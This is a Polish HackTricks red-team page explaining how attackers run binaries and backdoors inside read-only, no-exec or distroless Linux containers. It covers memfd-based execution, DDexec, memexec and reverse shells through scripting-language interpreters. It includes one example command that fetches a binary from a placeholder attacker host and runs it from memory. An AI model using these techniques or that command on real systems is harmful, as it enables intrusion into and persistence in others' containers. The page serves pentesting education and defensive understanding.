Bypass FS protections: read-only / no-exec / Distroless

Zacznij od zera i zostań ekspertem AWS z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli interesuje Cię kariera hakerska i hakowanie niemożliwych do zhakowania rzeczy - rekrutujemy! (wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego).

Filmy

W poniższych filmach znajdziesz techniki omówione na tej stronie wyjaśnione bardziej szczegółowo:

Scenariusz tylko do odczytu / brak wykonywania

Coraz częściej spotyka się maszyny z systemem Linux zamontowanym z zabezpieczeniem tylko do odczytu (ro), zwłaszcza w kontenerach. Jest to dlatego, że uruchomienie kontenera z systemem plików ro jest tak proste jak ustawienie readOnlyRootFilesystem: true w securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Jednak nawet jeśli system plików jest zamontowany jako ro, /dev/shm nadal będzie zapisywalny, więc nieprawdą jest, że nie możemy nic zapisać na dysku. Jednak ten folder będzie zamontowany z ochroną no-exec, więc jeśli pobierzesz tu binarny plik, nie będziesz w stanie go wykonać.

Z perspektywy zespołu czerwonego, utrudnia to pobieranie i uruchamianie binarnych plików, które nie znajdują się jeszcze w systemie (jak backdoory czy narzędzia do wyliczania, takie jak kubectl).

Najprostsze ominięcie: Skrypty

Zauważ, że wspomniałem o binariach, możesz wykonać dowolny skrypt, o ile interpreter jest wewnątrz maszyny, jak skrypt powłoki jeśli sh jest obecne lub skrypt pythonowy jeśli zainstalowano python.

Jednak to nie wystarczy do uruchomienia swojego binarnego backdoora lub innych binarnych narzędzi, które mogą być potrzebne do uruchomienia.

Ominięcia pamięci

Jeśli chcesz uruchomić binarny plik, ale system plików nie zezwala na to, najlepszym sposobem jest wykonanie go z pamięci, ponieważ zabezpieczenia tam nie obowiązują.

Ominięcie syscalls FD + exec

Jeśli masz potężne silniki skryptowe wewnątrz maszyny, takie jak Python, Perl lub Ruby, możesz pobrać binarny plik do wykonania z pamięci, przechować go w deskryptorze pliku w pamięci (create_memfd syscall), który nie będzie chroniony przez te zabezpieczenia, a następnie wywołać syscalle exec wskazując fd jako plik do wykonania.

Do tego możesz łatwo użyć projektu fileless-elf-exec. Możesz przekazać mu binarny plik, a on wygeneruje skrypt w wskazanym języku z binarnym skompresowanym i zakodowanym w base64 oraz instrukcjami do dekodowania i rozpakowania go w fd utworzonym za pomocą wywołania create_memfd syscall oraz wywołania syscalle exec do jego uruchomienia.

To nie działa w innych językach skryptowych, takich jak PHP czy Node, ponieważ nie mają one domyślnego sposobu na wywołanie surowych syscalls z poziomu skryptu, więc nie można wywołać create_memfd do utworzenia fd pamięci do przechowywania binarnego pliku.

Co więcej, utworzenie zwykłego fd z plikiem w /dev/shm nie zadziała, ponieważ nie będziesz mógł go uruchomić z powodu zastosowania ochrony no-exec.

DDexec / EverythingExec

DDexec / EverythingExec to technika, która pozwala modyfikować pamięć własnego procesu, nadpisując jego /proc/self/mem.

Dlatego kontrolując kod asemblera, który jest wykonywany przez proces, możesz napisać shellcode i "zmienić" proces, aby wykonał dowolny arbitralny kod.

DDexec / EverythingExec pozwoli Ci załadować i wykonać swój własny shellcode lub dowolny binarny plik z pamięci.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec jest naturalnym kolejnym krokiem po DDexec. To zdemilitaryzowany shellcode DDexec, więc za każdym razem, gdy chcesz uruchomić inny plik binarny, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia.

Możesz znaleźć przykład, jak używać memexec do uruchamiania plików binarnych z odwróconego shella PHP pod adresem https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

O podobnym celu do DDexec, technika memdlopen umożliwia łatwiejsze ładowanie plików binarnych do późniejszego wykonania. Może nawet umożliwić ładowanie plików binarnych zależnych.

Ominięcie Distroless

Co to jest distroless

Kontenery Distroless zawierają jedynie niezbędne minimalne składniki do uruchomienia określonej aplikacji lub usługi, takie jak biblioteki i zależności czasu wykonania, ale wykluczają większe składniki, takie jak menedżer pakietów, powłoka lub narzędzia systemowe.

Celem kontenerów Distroless jest zmniejszenie powierzchni ataku kontenerów poprzez eliminowanie zbędnych składników i minimalizowanie liczby podatności, które mogą być wykorzystane.

Odwrócony Shell

W kontenerze Distroless możesz nawet nie znaleźć sh ani bash do uzyskania zwykłej powłoki. Nie znajdziesz również binarnych takich jak ls, whoami, id... wszystko, co zazwyczaj uruchamiasz w systemie.

Dlatego nie będziesz w stanie uzyskać odwróconej powłoki ani wyliczyć systemu tak, jak zazwyczaj robisz.

Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację internetową flask, to zainstalowany jest Python, więc możesz uzyskać odwróconą powłokę Pythona. Jeśli uruchamia node, możesz uzyskać odwróconą powłokę Node, podobnie z większością języków skryptowych.

Korzystając z języka skryptowego, możesz wyliczyć system korzystając z możliwości języka.

Jeśli nie ma protekcji read-only/no-exec, możesz wykorzystać swoją odwróconą powłokę do zapisywania swoich plików binarnych w systemie plików i wykonywania ich.

Jednak w tego rodzaju kontenerach te protekcje zazwyczaj istnieją, ale możesz użyć poprzednich technik wykonania w pamięci, aby je ominąć.

Możesz znaleźć przykłady jak wykorzystać niektóre podatności RCE do uzyskania odwróconych powłok języków skryptowych i wykonywania plików binarnych z pamięci pod adresem https://github.com/carlospolop/DistrolessRCE.

Jeśli interesuje Cię kariera w dziedzinie hakowania i hakowanie niemożliwych do zhakowania - rekrutujemy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated